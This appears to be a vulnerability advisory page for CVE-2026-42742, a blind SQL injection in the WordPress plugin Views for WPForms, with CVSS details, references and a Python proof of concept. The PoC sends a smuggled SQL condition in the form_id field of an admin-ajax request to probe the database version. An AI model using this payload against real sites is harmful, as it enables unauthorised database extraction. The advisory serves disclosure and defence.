CVE-2026-42742

Description

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Aman Views for WPForms views-for-wpforms-lite allows Blind SQL Injection.This issue affects Views for WPForms: from n/a through <= 3.4.6.

CVSS Details

CVSS Score

8.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Views for WPForms <= 3.4.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_url = "http://target-site.com/wp-admin/admin-ajax.php"

# Attacker session cookie (Low privilege required)
cookies = {
    "wordpress_logged_in_xxx": "low_priv_user_session_token"
}

# Vulnerable payload demonstrating blind SQL injection
# Checking if the first character of the database version is '5'
payload_data = {
    "action": "views_for_wpforms_get_data", 
    "form_id": "1 AND (SELECT SUBSTRING(@@version,1,1))='5'"
}

try:
    response = requests.post(target_url, data=payload_data, cookies=cookies, timeout=10)
    
    # Analyze response to determine query result (True/False)
    if response.status_code == 200 and "success" in response.text:
        print("[+] Vulnerability confirmed: Payload returned True")
    else:
        print("[-] Payload returned False or Error occurred")
        
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42742
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42742
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42742/
[4] VulDB https://vuldb.com/cve/CVE-2026-42742
[5] https://patchstack.com/database/Wordpress/Plugin/views-for-wpforms-lite/vulnerability/wordpress-views-for-wpforms-plugin-3-4-6-sql-injection-vulnerability?_s_id=cve

Raw JSON Data

JSON

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